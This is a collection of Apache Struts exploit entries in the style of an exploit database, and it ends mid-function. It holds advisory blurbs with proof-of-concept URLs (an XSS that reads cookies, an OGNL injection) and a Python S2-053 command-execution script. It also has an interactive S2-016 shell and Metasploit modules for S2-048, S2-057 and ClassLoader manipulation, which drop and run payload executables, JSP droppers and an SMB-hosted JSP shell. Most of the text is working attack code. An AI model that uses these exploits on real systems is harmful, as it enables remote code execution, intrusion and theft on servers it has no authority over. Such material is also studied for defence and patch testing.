source: https://www.securityfocus.com/bid/50940/info

Apache Struts is prone to a security-bypass vulnerability that allows session tampering.

Successful attacks will allow attackers to bypass security restrictions and gain unauthorized access.

Apache Struts versions 2.0.9 and 2.1.8.1 are vulnerable; other versions may also be affected. 

http://www.example.com/SomeAction.action?session.somekey=someValue 
            
import requests
import sys
from urllib import quote

def exploit(url):
    res = requests.get(url, timeout=10)
    if res.status_code == 200:
        print "[+] Response: {}".format(str(res.text))
        print "\n[+] Exploit Finished!"
    else:
        print "\n[!] Exploit Failed!"

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print """****S2-053 Exploit****
Usage:
    exploit.py <url> <param> <command>

Example:
    exploit.py "http://127.0.0.1/" "name" "uname -a"
        """
        exit()
    url = sys.argv[1]
    param = sys.argv[2]
    command = sys.argv[3]
    #payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"""
    # Can show the echo message
    payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
    link = "{}/?{}={}".format(url, param, quote(payload))
    print "[*] Generated EXP: {}".format(link)
    print "\n[*] Exploiting..."
    exploit(link)
            
source: https://www.securityfocus.com/bid/47784/info

Apache Struts is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Successful exploitation requires 'Dynamic Method Invocation' to be enabled by default.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Apache Struts versions 2.0.0 through 2.2.1.1 are vulnerable. 

http://www.example.com/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value 
            
source: https://www.securityfocus.com/bid/52702/info

Apache Struts2 is prone to a remote arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.example.com/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html> 
<body> 
<h2>hacked by kxlzx</h2> 
<h2>http://www.example.com</h2> 
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body> 
</html> 
</xsl:template> 
</xsl:stylesheet>
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution',
      'Description'    => %q{ This module exploits a remote code execution vulnerability in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series. Remote Code Execution can be performed via a malicious field value. },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'icez <ic3z at qq dot com>',
        'Nixawk',
        'xfer0'
      ],
      'References'     => [
        [ 'CVE', '2017-9791' ],
        [ 'BID', '99484' ],
        [ 'EDB', '42324' ],
        [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-048'  ]
      ],
      'Privileged'     => true,
      'Targets'        => [
        [
          'Universal', {
            'Platform'       => %w{ linux unix win },
            'Arch'           => [ ARCH_CMD ]
          }
        ]
      ],
      'DisclosureDate' => 'Jul 07 2017',
    'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/integration/saveGangster.action' ]),
        OptString.new('POSTPARAM', [ true, 'The HTTP POST parameter', 'name' ])
      ]
    )
  end

  def send_struts_request(ognl)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    uri = normalize_uri(datastore['TARGETURI'])

    data = {
      datastore['POSTPARAM']    => ognl,
      'age'                     => var_a,
      '__checkbox_bustedBefore' => 'true',
      'description'             => var_b
    }

    resp = send_request_cgi({
      'uri'       => uri,
      'method'    => 'POST',
      'vars_post' => data
    })

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    ognl = "%{'#{var_a}' + '#{var_b}'}"

    begin
      resp = send_struts_request(ognl)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{var_a}#{var_b}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    resp = exec_cmd(payload.encoded)
    unless resp and resp.code == 200
      fail_with(Failure::Unknown, "Exploit failed.")
    end

    print_good("Command executed")
    print_line(resp.body)
  end

  def exec_cmd(cmd)
    ognl = "%{(#_='multipart/form-data')."
    ognl << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    ognl << "(#_memberAccess?(#_memberAccess=#dm):"
    ognl << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    ognl << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    ognl << "(#ognlUtil.getExcludedPackageNames().clear())."
    ognl << "(#ognlUtil.getExcludedClasses().clear())."
    ognl << "(#context.setMemberAccess(#dm))))."
    ognl << "(#cmd='#{cmd}')."
    ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    ognl << "(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())."
    ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

    send_struts_request(ognl)
  end
end
            
source: https://www.securityfocus.com/bid/55165/info

Apache Struts2 is prone to a remote-code-execution vulnerability because it fails to sufficiently sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())} 
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  # Eschewing CmdStager for now, since the use of '\' and ';' are killing me
  #include Msf::Exploit::CmdStager   # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts 2 Namespace Redirect OGNL Injection',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability in Apache Struts
        version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
        via an endpoint that makes use of a redirect action.

        Native payloads will be converted to executables and dropped in the
        server's temp dir. If this fails, try a cmd/* payload, which won't
        have to write to the disk.
      },
      #TODO: Is that second paragraph above still accurate?
      'Author'         => [
        'Man Yue Mo', # Discovery
        'hook-s3c',   # PoC
        'asoto-r7',   # Metasploit module
        'wvu'         # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-11776'],
        ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
        ['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
      ],
      'Privileged'     => false,
      'Targets'        => [
        [
          'Automatic detection', {
            'Platform'   => %w{ unix windows linux },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Windows', {
            'Platform'   => %w{ windows },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
        [
          'Linux', {
            'Platform'       => %w{ unix linux },
            'Arch'           => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
          },
        ],
      ],
      'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
          OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
          OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
        ]
      )
      register_advanced_options(
        [
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
          OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
          OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
        ]
      )
  end

  def check
    # METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
    ognl = "#_memberAccess['allowStaticMethodAccess']"

    resp = send_struts_request(ognl)

    # If vulnerable, the server should return an HTTP 302 (Redirect)
    #   and the 'Location' header should contain either 'true' or 'false'
    if resp && resp.headers['Location']
      output = resp.headers['Location']
      vprint_status("Redirected to:  #{output}")
      if (output.include? '/true/')
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      elsif (output.include? '/false/')
        print_status("Target requires enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'true'")
        datastore['ENABLE_STATIC'] = true
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    elsif resp && resp.code==400
      # METHOD 2: Generate two random numbers, ask the target to add them together.
      #   If it does, it's vulnerable.
      a = rand(10000)
      b = rand(10000)
      c = a+b

      ognl = "#{a}+#{b}"

      resp = send_struts_request(ognl)

      if resp.headers['Location'].include? c.to_s
        vprint_status("Redirected to:  #{resp.headers['Location']}")
        print_status("Target does *not* require enabling 'allowStaticMethodAccess'.  Setting ENABLE_STATIC to 'false'")
        datastore['ENABLE_STATIC'] = false
        CheckCode::Vulnerable
      else
        CheckCode::Safe
      end
    end
  end

  def exploit
    case payload.arch.first
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload()
    end
  end

  def encode_ognl(ognl)
    # Check and fail if the command contains the follow bad characters:
    #   ';' seems to terminates the OGNL statement
    #   '/' causes the target to return an HTTP/400 error
    #   '\' causes the target to return an HTTP/400 error (sometimes?)
    #   '\r' ends the GET request prematurely
    #   '\n' ends the GET request prematurely

    # TODO: Make sure the following line is uncommented
    bad_chars = %w[; \\ \r \n]    # and maybe '/'
    bad_chars.each do |c|
      if ognl.include? c
        print_error("Bad OGNL request: #{ognl}")
        fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
      end
    end

    # The following list of characters *must* be encoded or ORNL will asplode
    encodable_chars = { "%": "%25",       # Always do this one first.  :-)
                        " ": "%20",
                        "\"":"%22",
                        "#": "%23",
                        "'": "%27",
                        "<": "%3c",
                        ">": "%3e",
                        "?": "%3f",
                        "^": "%5e",
                        "`": "%60",
                        "{": "%7b",
                        "|": "%7c",
                        "}": "%7d",
                       #"\/":"%2f",       # Don't do this.  Just leave it front-slashes in as normal.
                       #";": "%3b",       # Doesn't work.  Anyone have a cool idea for a workaround?
                       #"\\":"%5c",       # Doesn't work.  Anyone have a cool idea for a workaround?
                       #"\\":"%5c%5c",    # Doesn't work.  Anyone have a cool idea for a workaround?
                      }

    encodable_chars.each do |k,v|
     #ognl.gsub!(k,v)                     # TypeError wrong argument type Symbol (expected Regexp)
      ognl.gsub!("#{k}","#{v}")
    end
    return ognl
  end

  def send_struts_request(ognl, payload: nil)
=begin  #badchar-checking code
    pre = ognl
=end

    ognl = "${#{ognl}}"
    vprint_status("Submitted OGNL: #{ognl}")
    ognl = encode_ognl(ognl)

    headers = {'Keep-Alive': 'timeout=5, max=1000'}

    if payload
      vprint_status("Embedding payload of #{payload.length} bytes")
      headers[datastore['HEADER']] = payload
    end

    # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
    uri = "/#{ognl}/#{datastore['ACTION']}"

    resp = send_request_cgi(
     #'encode'  => true,     # this fails to encode '\', which is a problem for me
      'uri'     => uri,
      'method'  => datastore['HTTPMethod'],
      'headers' => headers
    )

    if resp && resp.code == 404
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
    end

=begin  #badchar-checking code
    print_status("Response code: #{resp.code}")
    #print_status("Response recv: BODY '#{resp.body}'") if resp.body
    if resp.headers['Location']
      print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
      if resp.headers['Location'].split('/')[1] == pre[1..-2]
        print_good("GOT 'EM!")
      else
        print_error("                       #{pre[1..-2]}")
      end
    end
=end

    resp
  end

  def profile_target
    # Use OGNL to extract properties from the Java environment

    properties = { 'os.name': nil,          # e.g. 'Linux'
                   'os.arch': nil,          # e.g. 'amd64'
                   'os.version': nil,       # e.g. '4.4.0-112-generic'
                   'user.name': nil,        # e.g. 'root'
                   #'user.home': nil,       # e.g. '/root' (didn't work in testing)
                   'user.language': nil,    # e.g. 'en'
                   #'java.io.tmpdir': nil,  # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
                   }

    ognl = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|('#{rand_text_alpha(2)}')|
    properties.each do |k,v|
      ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
    end
    ognl = ognl[0...-4]

    r = send_struts_request(ognl)

    if r.code == 400
      fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
    elsif r.headers['Location']
      # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
      #   Extract the OGNL output from the Location path, and strip the two random chars
      s = r.headers['Location'].split('/')[1][2..-1]

      if s.nil?
        # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
        #   But we didn't get any output, so we can't profile the target.  Abort.
        return nil
      end

      # Confirm that all fields were returned, and non include extra (:) delimiters
      #   If the OGNL fails, we might get a partial result back, in which case, we'll abort.
      if s.count(':') > properties.length
        print_error("Failed to profile target.  Response from server: #{r.to_s}")
        fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
      end

      # Separate the colon-delimited properties and store in the 'properties' hash
      s = s.split(':')
      i = 0
      properties.each do |k,v|
        properties[k] = s[i]
        i += 1
      end

      print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
        " #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
      return properties
    else
      print_error("Failed to profile target.  Response from server: #{r.to_s}")
      fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
    end
  end

  def execute_command(cmd_input, opts={})
    # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
    if cmd_input.include? ';'
      print_warning("WARNING: Command contains bad characters: semicolons (;).")
    end

    begin
      properties = profile_target
      os = properties[:'os.name'].downcase
    rescue
      vprint_warning("Target profiling was unable to determine operating system")
      os = ''
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
    end

    if (os.include? 'linux') || (os.include? 'nix')
      cmd = "{'sh','-c','#{cmd_input}'}"
    elsif os.include? 'win'
      cmd = "{'cmd.exe','/c','#{cmd_input}'}"
    else
      vprint_error("Failed to detect target OS.  Attempting to execute command directly")
      cmd = cmd_input
    end

    # The following OGNL will run arbitrary commands on Windows and Linux
    #   targets, as well as returning STDOUT and STDERR.  In my testing,
    #   on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.

    vprint_status("Executing: #{cmd}")

    ognl =  ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start()).|
    ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
    ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
    ognl << %q|(#r.flush())|

    r = send_struts_request(ognl)

    if r && r.code == 200
      print_good("Command executed:\n#{r.body}")
    elsif r
      if r.body.length == 0
        print_status("Payload sent, but no output provided from server.")
      elsif r.body.length > 0
        print_error("Failed to run command.  Response from server: #{r.to_s}")
      end
    end
  end

  def send_payload
    # Probe for the target OS and architecture
    begin
      properties = profile_target
      os = properties[:'os.name'].downcase
    rescue
      vprint_warning("Target profiling was unable to determine operating system")
      os = ''
      os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
      os = 'linux'   if datastore['PAYLOAD'].downcase.include? 'linux'
      os = 'unix'    if datastore['PAYLOAD'].downcase.include? 'unix'
    end

    data_header = datastore['HEADER']
    if data_header.empty?
      fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
    end

    random_filename = datastore['TEMPFILE']

    # d = data stream from HTTP header
    # f = path to temp file
    # s = stream/handle to temp file
    ognl  = ""
    ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
    ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
    ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
    ognl << %q|(#s.write(#d)).|
    ognl << %q|(#s.close()).|
    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete()).|

    success_string = rand_text_alpha(4)
    ognl << %Q|('#{success_string}')|

    exe = [generate_payload_exe].pack("m").delete("\n")
    r = send_struts_request(ognl, payload: exe)

    if r && r.headers && r.headers['Location'].split('/')[1] == success_string
      print_good("Payload successfully dropped and executed.")
    elsif r && r.headers['Location']
      vprint_error("RESPONSE: " + r.headers['Location'])
      fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
    elsif r && r.code == 400
      fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
    end
  end
end
            
# Exploit Title: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
# Google Dork: ext:action | filetype:action
# Date: 2020/09/09
# Exploit Author: Jonatas Fil
# Vendor Homepage: http://struts.apache.org/release/2.3.x/docs/s2-016.html
# Version: <= 2.3.15
# Tested on: Linux
# CVE : CVE-2013-2251

#!/usr/bin/python
#
# coding=utf-8
#
# Struts 2 DefaultActionMapper Exploit [S2-016]
# Interactive Shell for CVE-2013-2251
#
# The Struts 2 DefaultActionMapper supports a method for short-circuit
navigation state changes by prefixing parameters with
# "action:" or "redirect:", followed by a desired navigational target
expression. This mechanism was intended to help with
# attaching navigational information to buttons within forms.
#
# https://struts.apache.org/docs/s2-016.html
# Jonatas Fil (@exploitation)

import requests
import sys
import readline


# Disable SSL
requests.packages.urllib3.disable_warnings()

# ShellEvil
if len(sys.argv) == 2:
    target = sys.argv[1] # Payload
    first = target +
"?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','"
    second =
"'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
    loop = 1
    while loop == 1:
        cmd = raw_input("$ ")
        while cmd.strip() == '':
            cmd = raw_input("$ ")
        if cmd.strip() == '\q':
            print("Exiting...")
            sys.exit()
        try:
            headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36"}
            pwn=requests.get(first+cmd+second,headers =
headers,verify=False) # Disable SSL
            if pwn.status_code == 200:
                print pwn.content # 1337
            else:
                print("Not Vuln !")
                sys.exit()
        except Exception,e:
            print e
            print("Exiting...")
            sys.exit()

else: # BANNER
    print('''
 __ _          _ _   __       _ _
/ _\ |__   ___| | | /__\_   _(_) |
\ \| '_ \ / _ \ | |/_\ \ \ / / | |
_\ \ | | |  __/ | //__  \ V /| | |
\__/_| |_|\___|_|_\__/   \_/ |_|_|

          by Jonatas Fil [@explotation]
''')
    print("======================================================")
    print("#    Struts 2 DefaultActionMapper Exploit [S2-016]   #")
    print("# USO: python struts.py http://site.com:8080/xxx.action #")
    print("======================================================")
    print("bye")
    sys.exit()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # It's going to manipulate the Class Loader

  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts versions
        1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
        the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
        to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
        mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
        allow remote attackers to execute arbitrary Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas', # Vulnerability Discovery
          'Przemyslaw Celej', # Vulnerability Discovery
          'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
          'Matthew Hall <hallm[at]sec-1.com>' # SMB target
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-0094'],
          ['CVE', '2014-0112'],
          ['CVE', '2014-0114'],
          ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
          ['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
        ],
      'Platform'       => %w{ linux win },
      'Payload'        =>
        {
          'Space' => 5000,
          'DisableNops' => true
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          ['Java',
           {
               'Arch'     => ARCH_JAVA,
               'Platform' => %w{ linux win }
           },
          ],
          ['Linux',
           {
               'Arch'     => ARCH_X86,
               'Platform' => 'linux'
           }
          ],
          ['Windows',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget'  => 1))

    register_options(
      [
        Opt::RPORT(8080),
        OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
      ], self.class)

    deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
  end

  def jsp_dropper(file, exe)
    dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
    eos

    dropper
  end

  def dump_line(uri, cmd = '')
    res = send_request_cgi({
      'uri'     => uri,
      'encode_params' => false,
      'vars_get' => {
        cmd => ''
      },
      'version' => '1.1',
      'method'  => 'GET'
    })

    res
  end

  def modify_class_loader(opts)

    cl_prefix =
      case datastore['STRUTS_VERSION']
      when '1.x' then "class.classLoader"
      when '2.x' then "class['classLoader']"
      end

    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory"      => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix"         => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix"         => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })

    res
  end

  def check_log_file(hint)
    uri = normalize_uri("/", @jsp_file)

    print_status("Waiting for the server to flush the logfile")

    10.times do |x|
      select(nil, nil, nil, 2)

      # Now make a request to trigger payload
      vprint_status("Countdown #{10-x}...")
      res = dump_line(uri)

      # Failure. The request timed out or the server went away.
      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?

      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
        print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
        return true
      end
    end

    false
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ""
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l=~ /%>/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end

  def create_jsp
    if target['Arch'] == ARCH_JAVA
      jsp = fix(payload.encoded)
    else
      if target['Platform'] == 'win'
        payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
      else
        payload_exe = generate_payload_exe
      end
      payload_file = rand_text_alphanumeric(4 + rand(4))
      jsp = jsp_dropper(payload_file, payload_exe)

      register_files_for_cleanup(payload_file)
    end

    jsp
  end

  def exploit
    if target.name =~ /Remote SMB Resource/
      begin
        Timeout.timeout(datastore['SMB_DELAY']) { super }
      rescue Timeout::Error
        # do nothing... just finish exploit and stop smb server...
      end
    else
      class_loader_exploit
    end
  end

  # Used with SMB targets
  def primer
    self.file_name << '.jsp'
    self.file_contents = payload.encoded
    print_status("JSP payload available on #{unc}...")

    print_status("Modifying Class Loader...")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
      }
    })

    jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
    jsp_shell << "/#{self.file_name}"

    print_status("Accessing JSP shell at #{jsp_shell}...")
    send_request_cgi({
      'uri'     => normalize_uri(jsp_shell),
      'version' => '1.1',
      'method'  => 'GET',
    })
  end

  def class_loader_exploit
    prefix_jsp = rand_text_alphanumeric(3+rand(3))
    date_format = rand_text_numeric(1+rand(4))
    @jsp_file = prefix_jsp + date_format + ".jsp"

    # Modify the Class Loader

    print_status("Modifying Class Loader...")
    properties = {
